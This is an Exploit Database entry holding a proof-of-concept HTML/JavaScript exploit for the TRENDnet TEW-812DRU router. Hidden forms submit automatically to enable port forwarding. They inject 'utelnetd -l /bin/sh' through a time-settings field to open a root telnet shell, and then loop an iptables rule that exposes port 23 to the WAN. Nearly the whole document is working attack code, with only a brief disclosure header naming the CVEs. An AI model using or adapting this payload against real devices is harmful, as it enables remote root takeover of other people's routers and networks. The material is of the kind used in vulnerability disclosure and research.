TRENDnet TEW-812DRU – Cross-Site Request Forgery/Command Injection Root

Exploit Database
117 阅读

作者： Jacob Holcomb

日期： 2013-07-28
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/27177/

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<html>

<head>

<title> TRENDnet TEW-812DRU CSRF - Command Injection > Shell Exploit.</title>

<!--

# CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators

# Command Injection(s) Discovered by: Jacob Holcomb & Kedy Liu - Security Analysts @ Independent Security Evaluators

# Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators

# CVE: CSRF - CVE-2013-3098 & Multiple Command Injection - CVE-2013-3365

# http://infosec42.blogspot.com

# http://securityevaluators.com

-->

</head>

<body>

<h1>Please wait... </h1>

//Request to enable port forwarding to the routers internal IP on port 23

//This exploit works without this request, but the exploit was more stable with it, so its included in thos PoC.

function RF1(){

document.write('<form name="portfwd" target ="_blank" action="http://192.168.10.1/uapply.cgi" method="post">'+

'<input type="hidden" name="page" value="/advanced/single_port.asp">'+

'<input type="hidden" name="forward_port_enable" value="0">'+

'<input type="hidden" name="forward_port" value="24">'+

'<input type="hidden" name="forward_port_proto0" value="tcp">'+

'<input type="hidden" name="forward_port_from_start0" value="23">'+

'<input type="hidden" name="forward_port_from_end0" value="23">'+

'<input type="hidden" name="forward_port_to_ip0" value="192.168.10.1">'+

'<input type="hidden" name="forward_port_to_start0" value="23">'+

'<input type="hidden" name="forward_port_to_end0" value="23">'+

'<input type="hidden" name="schedule0" value="0">'+

'<input type="hidden" name="forward_port_enable0" value="on">'+

'<input tpye="hidden" name="action" value="Apply">'+

'</form>');

}

//Request to enable telnet

function RF2(){

document.write('<form name="enable23" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+

'<input type="hidden" name="page" value="/adm/time.asp">'+

'<input type="hidden" name="DSTenable" value="on">'+

'<input type="hidden" name="NtpDstEnable" value="1">'+

'<input type="hidden" name="NtpDstOffset" value="<code>utelnetd -l /bin/sh</code>">'+

'<input type="hidden" name="NtpDstStart" value="030102">'+

'<input type="hidden" name="tz_daylight_start_month_select" value="03">'+

'<input type="hidden" name="tz_daylight_start_day_select" value="01">'+

'<input type="hidden" name="tz_daylight_start_time_select" value="02">'+

'<input type="hidden" name="NtpDstEnd" value="100102">'+

'<input type="hidden" name="tz_daylight_end_month_select" value="10">'+

'<input type="hidden" name="tz_daylight_end_day_select" value="01">'+

'<input type="hidden" name="tz_daylight_end_time_select" value="02">'+

'<input type="hidden" name="ntp_server" value="1">'+

'<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+

'<input type="hidden" name="time_zone" value="UCT_-11">'+

'<input type="hidden" name="timer_interval" value="300">'+

'<input type="hidden" name="manual_year_select" value="2012">'+

'<input type="hidden" name="manual_month_select" value="01">'+

'<input type="hidden" name="manual_day_select" value="01">'+

'<input type="hidden" name="manual_hour_select" value="00">'+

'<input type="hidden" name="manual_min_select" value="19">'+

'<input type="hidden" name="manual_sec_select" value="57">'+

'<input type="hidden" name="timeTag" value="manual">'+

'</form>');

}

//Request to change iptables to allow port 23 from the WAN.

function RF3(){

document.write(

'<form name="ipTableRule" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+

'<input type="hidden" name="page" value="/adm/time.asp">'+

'<input type="hidden" name="DSTenable" value="on">'+

'<input type="hidden" name="NtpDstEnable" value="1">'+

'<input type="hidden" name="NtpDstOffset" value="3600">'+

'<input type="hidden" name="NtpDstStart" value="030102">'+

'<input type="hidden" name="tz_daylight_start_month_select" value="03">'+

'<input type="hidden" name="tz_daylight_start_day_select" value="01">'+

'<input type="hidden" name="tz_daylight_start_time_select" value="02">'+

'<input type="hidden" name="NtpDstEnd" value="<code>count=0;while [ $count -le 25 ]; do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;(( count++ ));done;</code>">'+

'<input type="hidden" name="tz_daylight_end_month_select" value="10">'+

'<input type="hidden" name="tz_daylight_end_day_select" value="01">'+

'<input type="hidden" name="tz_daylight_end_time_select" value="02">'+

'<input type="hidden" name="ntp_server" value="1">'+

'<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+

'<input type="hidden" name="time_zone" value="UCT_-11">'+

'<input type="hidden" name="timer_interval" value="300">'+

'<input type="hidden" name="manual_year_select" value="2012">'+

'<input type="hidden" name="manual_month_select" value="01">'+

'<input type="hidden" name="manual_day_select" value="01">'+

'<input type="hidden" name="manual_hour_select" value="00">'+

'<input type="hidden" name="manual_min_select" value="19">'+

'<input type="hidden" name="manual_sec_select" value="57">'+

'<input type="hidden" name="timeTag" value="manual">'+

'</form>');

}

function createPage(){

RF1();

RF2();

RF3();

document.write('<iframe src="http://192.168.10.1/" target="_blank" width="100%" height="100%" frameborder="0" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0;"></iframe>');

}

function _portfwd(){

document.portfwd.submit();

}

function _enable23(){

document.enable23.submit();

}

function _ipTableRule(){

document.ipTableRule.submit();i

}

//Called Functions

createPage()

for(var i = 0; i < 3; i++){

if(i == 0){

window.setTimeout(_portfwd, 1000);

}

else if(i == 1){

window.setTimeout(_enable23, 2000);

}

else if(i == 2){

window.setTimeout(_ipTableRule, 4000);

}

else{

continue;

}

</script>

</body>

</html>